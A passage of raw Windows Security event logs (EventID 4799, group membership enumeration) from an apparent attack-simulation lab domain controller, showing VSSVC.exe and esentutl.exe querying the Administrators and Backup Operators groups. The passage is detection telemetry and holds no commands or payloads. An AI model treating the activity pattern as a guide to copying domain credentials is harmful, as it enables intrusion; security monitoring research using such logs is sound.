ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222021,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222022,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222023,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222024,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222025,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222026,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222027,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222028,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222029,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222030,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222031,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222032,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222033,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222034,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222035,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222036,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222037,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222038,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222039,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 